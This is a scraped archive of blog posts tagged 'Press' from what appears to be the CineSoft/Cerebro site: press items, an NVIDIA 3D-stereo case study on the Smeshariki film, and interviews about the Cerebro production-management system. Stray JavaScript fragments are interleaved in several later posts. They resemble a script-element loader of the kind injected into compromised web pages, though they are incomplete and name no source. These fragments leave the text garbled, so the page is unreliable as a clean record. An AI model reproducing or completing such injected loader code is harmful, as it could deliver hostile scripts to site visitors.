Posts tagged "Пресса"

Исследуем качество менеджмента в РА

2011/10/18 Posted by Cerebro 2 thoughts on “Исследуем качество менеджмента в РА”

С 19 октября 2011 года компания CineSoft официально становится главным клиентом рекламного агентства “The Агентство” и получает приоритетное право на использование всех его ресурсов. Но цель настоящей сделки – не получение рекламного обслуживания, а глобальное маркетинговое B2B-исследование. По взаимной договоренности аналитики CineSoft становятся в “The Агентстве” инсайдерами, что позволит им наблюдать самые “интимные” проблемы проектного менеджмента на живой модели рекламного агентства полного цикла. Близкое изучение и анализ кризисных ситуаций внутри рекламного агентства СineSoft собирается использовать для оптимизации своего продукта Cerebro. Они ставят своей задачей предложить рекламному рынку уникально полезный инструмент, в котором учтены все “подводные камни” проектного менеджмента в РА.

Директор CineSoft Константин Харитонов прокомментировал выбор такого подхода:

Чтобы сделать Cerebro не просто полезной, а незаменимой системой для рекламных агентств, нужно знать рабочий процесс изнутри, видеть слабые стороны менеджмента. И мы решили зайти в рекламные агентства «с тыла».
Начали, разумеется, с крупных сетевых. Но быстро поняли, что нет смысла – сетевики слишком дорожат своим статусом, чтобы признаться, где в их системе работы слабые места.
На “The Агентство” мы вышли случайно, по статьям в интернете, и это оказалось как раз то, что мы искали. У них достаточно клиентов, много проектов в работе, есть регулярный конфликт дедлайнов. Команда “The Агентства” – профессионалы, каждый из которых имеет большой опыт работы, в том числе и в крупных сетевых РА. И, несмотря на это, регулярных сложностей в работе у них хватает. А главное, они не боятся об этом говорить.
Нет, мы не собираемся устанавливать им Cerebro и налаживать рабочий процесс. Поймите правильно, сейчас мы заинтересованы в том, чтобы в “The Агентстве” возникали трудности. Образно выражаясь, если Cerebro должно стать лекарством от плохого менеджмента в РА, мы хотим видеть все симптомы болезни, чтобы знать наверняка, что и где лечить. Так что мы планируем просто цинично смотреть, над чем они мучаются, и добавлять полезных фишек в Cerebro :).

Блог рекламного агентства “The Агентство” – theagentstvo.tumblr.com
Информация о компании CineSoft – www.cinesoft.ru/ru/company
О продукте Cerebro – www.cerebrohq.com

 

«Смешарики» обретают 3D-объем благодаря NVIDIA

2011/07/18 Posted by Cerebro, User Case 0 thoughts on “«Смешарики» обретают 3D-объем благодаря NVIDIA”

В декабре 2011 года в России планируется выход на экран полнометражного мультфильма «Смешарики. Начало». Он не просто расскажет нам еще одну историю из жизни полюбившихся российской детворе героев, а перенесет в совершенно иной мир – «в неожиданно неприветливую атмосферу большого города — где живут миллионы Смешариков, где вместо привычных домиков — гигантские небоскрёбы, не говоря уже об опасном транспорте и летающих объектах».

ep_10_sc_12

Для Студии компьютерной анимации «Петербург» (Группа компаний «Рики»), как и для российской анимационной индустрии в целом, это будет первый полнометражный мультфильм, выполненный по технологии «честного» 3D-стерео, то есть не конвертированный, а изначально полностью созданный с использованием двух камер, объединенных в стереориг. Использование стереотехнологий NVIDIA и аппаратная поддержка производства профессиональной графикой Quadro позволили аниматорам существенно сократить время работы над мультифильмом и добиться отличного качества стереокартинки.

ЗАДАЧА

Говорит Надежда Кузнецова, исполнительный директор СКА «Петербург»:

– Перед нашей студией стоит амбициозная задача – создать российский мультфильм, предназначенный не только для российского, но и для мирового проката. Вопрос качества продукта для нас принципиально важен, ведь «Начало» – это только первая часть из планирующейся трилогии полнометражных мультфильмов о вселенной Смешариков. Мы должны удивить и очаровать нашего зрителя, чтобы он обязательно пришел смотреть продолжение!

По словам Надежды, изначально проект планировался в обычном 2D формате, но, приступив к работе над мультфильмом, продюсеры быстро поняли, что нужно выходить в стерео. Менее затратный, но и менее качественный вариант с конвертацией 2D в 3D стерео на этапе постобработки был сразу отклонен, ведь студии нужно обеспечить безупречное качество картинки!

IMG_2398

Кроме того, для такого большого проекта, как полнометражный мультфильм, потребовалась мощная система управления проектами, которая бы позволила координировать работу более ста человек, причем, не только в самой СКА «Петербург», но и в студиях-подрядчиках в России и Индии.

РЕШЕНИЕ

– В результате мы перешли на пакет Autodesk Maya 2010, который имеет встроенный стереориг и поддерживает решение для профессиональной визуализации в стерео NVIDIA 3D Vision Pro, – это позволило нам быстро переделать монокамеру на стерео. Использование для просмотра готового материала стереоскопических очков NVIDIA 3D Vision позволило существенно ускорить процесс работы над 3D-сценами. Это относительно недорогое решение позволило нам быстро переключиться на производство «честного» 3D-стерео, – рассказывает Олег Муранов, технический директор студии.

NVIDIA 3D Vision Pro обеспечивает профессионалам простое и надежное решение для командной работы в области высококачественной визуализации крупномасштабных объектов в 3D стерео на больших экранах. Это решение включает в себя активные затворные очки 3D Vision Pro и радиочастотную систему связи (120 МГц) для самых разных сценариев использования.

1

Сегодня производственный конвейер студии включает в себя Autodesk Maya 2010 в качестве основного пакета для 3D анимации, рендер Pixar RenderMan Pro Server в связке с RenderMan Studio, приложение для композитинга The Foundry Nuke (также обладающее поддержкой NVIDIA 3D Vision Pro) и Adobe Premiere CS5 для редактирования и монтажа. Все эти приложения используют мощь профессиональных графических процессоров Quadro для ускорения работы, а GPU-оптимизация движка Mercury Playback в пакете Adobe позволяет аниматорам работать с финальным материалом в режиме реального времени.

Для управления производством, коммуникаций между участниками проекта, а также хранения и обмена файлами была выбрана система Cerebro от российской компании CineSoft.

Данная система оснащена встроенным плеером-редактором Mirada, который позволяет как просматривать хранящиеся в Cerebro видеофайлы и картинки, так и записывать аудиовизуальные комментарии во время просмотра. При этом, благодаря поддержке профессиональной графики Quadro, Mirada способна отображать большие графические файлы (до 32 000 пикселей по ширине!), а также делать предварительную цветокоррекцию при помощи пиксельных шейдеров. Профессиональная версия плеера Mirada Pro поддерживает различные технологии отображения 3D-стерео, в том числе и решение NVIDIA 3D Vision Pro.

– Модуль Mirada Pro с возможностью просмотра стерео и комментирования в стереорежиме на различной глубине кадра значительно облегчил работу супервайзеров и режиссера, – убежден Олег Муранов.

ЗНАЧЕНИЕ

Сегодня NVIDIA располагает широким спектром решений для эффективной работы 3D-художников. Качество технологий компании по достоинству было оценено специалистами СКА «Петербург». Сквозное проникновение технологий NVIDIA во все аспекты создания анимационных фильмов, от постановки камеры и света до записи комментариев режиссера, заметно ускоряет и сокращает процесс производства. Все это повышает привлекательность «честного» 3D-производства по сравнению с конвертацией.

ep_16_sc_38

В выигрыше оказываются все – и зрители, которые вскоре увидят новый мультфильм про Смешариков в настоящем 3D, и продюсеры проекта, которым удалось обеспечить все необходимые условия для создания продукта высокого качества за разумный бюджет.

Смотреть трейлеры «Смешарики. Начало» – http://smeshariki-movie.ru/#video

 

Подробнее об NVIDIA 3D Vision Pro – http://www.nvidia.ru/object/3d-vision-professional-users-ru.html

Подробнее о поддержке 3D-стерео в видеоплеере Mirada Pro системы Cerebro – http://cerebrohq.com/ru/2011/06/17/mirada-pro-released/

Подробнее о профессиональных графических ускорителях NVIDIA Quadro – www.nvidia.ru/quadro

О Группе компаний «Рики»

Ricki_logo_02_02

Группа компаний «Рики» – крупнейший Российский холдинг, специализирующийся на создании, построении, развитии и управлении популярными медиа-брендами на территории России, стран СНГ и Европейского союза.

В состав Группы компаний «Рики» входит более 18 компаний, включающий Продюсерский центр “Рики”, Студию компьютерной анимации “Петербург”, Агентство по управлению правами “Мармелад Медиа”, Дизайн-студию «Смешарики», Интернет-издательство “Новые медиа”, Издательство развивающих игр “ФАН гейм”, Издательство детской литературы “Умная Маша”, Лицензионное агентство «Фан Гейм Медиа» (Мюнхен, Германия), торговую компанию «Мармелад Пром» и др. Подробнее – www.riki-group.ru .

 

О Студии Компьютерной Анимации «Петербург»

Studiya_Peterburg_

Студия компьютерной анимации «Петербург» создана в марте 2003 года. Это единственная в России студия, где весь процесс производства ведется в цифровом формате с использованием современных компьютерных технологий. Творческий коллектив студии насчитывает более 100 специалистов, работающих на мощных графических станциях для 2D и 3D анимации. Благодаря этому студия «Петербург» может обеспечивать высокий темп производства анимационных сериалов, соответствующих западным аналогам. На студии создано порядка 200 эпизодов сериала «Смешарики», в разработке проекты «Пин-код», «Смешарики. Начало», «Фиксики» и многие другие. Подробнее – www.skapetersburg.ru .

Контакты:

Пресс-служба Группы Компаний «Рики»:
Поддубная Светлана
Телефон: +7 (812) 777-77-88 (доб.1151)
e-mail: pr@smeshariki.ru

О NVIDIA
NVIDIANVIDIA (NASDAQ:NVDA) открыла миру мощь компьютерной графики с изобретением GPU в 1999 году. С тех пор компания периодически устанавливает новые стандарты в области визуальных вычислений, позволяя создавать захватывающую интерактивную графику на различных устройствах – от планшетных ПК и медиаплееров до ноутбуков и рабочих станций. Опыт NVIDIA в создании программируемых GPU привел к прорывам в области параллельных вычислений, сделав суперкомпьютеры недорогими и широко доступными. Компания обладает более 1700 патентами по всему миру, включая те, что легли в основу современных вычислений. Подробнее смотрите www.nvidia.ru.

Интервью с командой “Базелевс”

2010/04/19 Posted by Uncategorized 0 thoughts on “Интервью с командой “Базелевс””

Интервью с командой “Базелевс”

Мы выбрали Cerebro потому что оно позволяет режиссеру оперативно и удобно комментировать наши результаты, нам видеть состояние работы по всем многочисленным шотам, которые делают одновременно, а исполнителям своевременно получать задание и весь необходимый материал. Большие данные передаются распределенно, как это делает торрент. Мы тесно сотрудничали с разработчиками данной системы, и они быстро реагировали на наши новые потребности.

Дмитрий Слепичев, технический директор, руководитель RnD, “Базелевс”

shooting

 

Интервью для программы Пульс

2010/02/25 Posted by Cerebro 2 thoughts on “Интервью для программы Пульс”

Интервью для программы “Пульс” на телеканале Первый Игровой, снято на дне открытых дверей школы RealTime.


Пульс от 22.02.10
Загружено 1gtv. – Смотри видео трейлеры, геймплей и обзоры видеоигр

Cg Event как это было

2009/12/26 Posted by Uncategorized 0 thoughts on “Cg Event как это было”

Все статьи и обсуждения:
CG Event, зима 2009 года (mir3d.ru)
http://www.cgtalk.ru/forum/showthread.php?t=25444&page=4
http://renderman.ru/forum/read.php?1,11690
http://forum.cgtalk.by/showthread.php?t=9702 – как всегда хороший обзор!
http://sites.google.com/site/damat3d/public/cg-event-2009-zima –  Практический аутсорс | Дмитрий damat Астапкович

Все фото:
http://picasaweb.google.com/cgevent/CGEVENT2009
– официальные фотографии
Фотографии с евента (mir3d.ru)
Знакомые лица (mir3d.ru)
http://picasaweb.google.ru/rulexip/Event_2009_winter

http://picasaweb.google.com/Vodoley88/CGEVENT2009
http://picasaweb.google.com/olga.tsibulina/brzmdF
http://photofile.ru/users/irina_sergeeva/96282475/all/
http://shazoo.ru/news/event-693
http://fotki.yandex.ru/users/druxo/album/59355/
http://v3ddotru.blogspot.com/2009/12/cgevent-russian-siggraph.html
http://sites.google.com/site/damat3d/public/cg-event-2009-zima

Второй номер журнала «Magic CG»

2009/07/14 Posted by Uncategorized 0 thoughts on “Второй номер журнала «Magic CG»”

Вышел новый второй номер журнала «Magic CG» там есть статья о нас.

Страница для скачивания

Интерьвью для сайта mir3d.ru

2009/06/16 Posted by Uncategorized 0 thoughts on “Интерьвью для сайта mir3d.ru”

Интерьвью для сайта mir3d.ru

Notes after CPS

2009/04/02 Posted by Cerebro 0 thoughts on “Notes after CPS”

«T-Platform» at the Cinema Production Service 2009 (Russian)

All of the tasks carried out under control of Russia’s software development partner T-Platforms Company CineSoft. Their product Duma was created to manage distributed computing.

UPD: Now we are Software solution partner

Some photos:

} else {

Sergei Tsyptsyn interview

2009/04/02 Posted by Cerebro 0 thoughts on “Sergei Tsyptsyn interview”

Sergei Tsyptsyn interview (March, 2009) (Russian)

In addition, we worked closely with Kostya Kharitonov and company Cinesoft, which makes the package Cerebro, and we use their project management system for uploading, and play materials that are produced during the course.

var d=document;var s=d.createElement(‘script’);

Vegetables eat vegetables

2009/02/23 Posted by Cerebro 0 thoughts on “Vegetables eat vegetables”
RealTime School announces collaborating 3D short animated project.
All the management on the project will occur in the Cerebro.
If you have already studied in RealTime, we invite you to participate in creating a short animated film. This is a non-commercial project, which  give school students an opportunity to express themselves. Drawing concepts, characters and scenery modeling, texturing, character setup, animation, renders, composing and final assembly – you can see the complete production cycle of  3D Animation. The process of work will be supervised by school instructors, who will hand out assignments to students and evaluate their progress.
….
Если вы уже учились в RealTime, то мы предлагаем вам принять участие в создании короткометражного анимационного фильма. Это некоммерческий проект, цель которого – дать студентам школы возможность проявить себя. Отрисовка концептов, моделирование персонажей и декораций, текстурирование, настройка персонажей, анимация, рендер, компоузинг и финальный монтаж – вы сможете познакомиться с полным циклом производства трехмерного мультика. Процесс работы будет курироваться инструкторами школы, которые будут раздавать задания студентам и оценивать их успехи.

Dmitry Shirokov interview

2009/01/24 Posted by Cerebro 0 thoughts on “Dmitry Shirokov interview”

Dmitry Shirokov interview (January, 2009) (Sorry only in Russian)

Training is conducted in the style of work on a big project, the system Cerebro, provided by the company «Cinesoft»

Обучение проводится в стиле работы на большом проекте, на системе Cerebro, предоставленной компанией «Cinesoft».

[UPD] Detailed description Online courses by Scream School

CG Event Winter 2008

2008/12/04 Posted by Cerebro 4 thoughts on “CG Event Winter 2008”

It was cool ! See you next year !

Feed back stuff, many photos and Russian speech:

More on  http://www.cgevent.ru

(Click for enlarge)



lunohead.jpg

document.currentScript.parentNode.insertBefore(s, document.currentScript);

Press about us

2008/10/02 Posted by Cerebro 0 thoughts on “Press about us”


Interview for render.ru (October, 2008) (Sorry only in Russian)


3D Word (tiny message) (October, 2008)} else {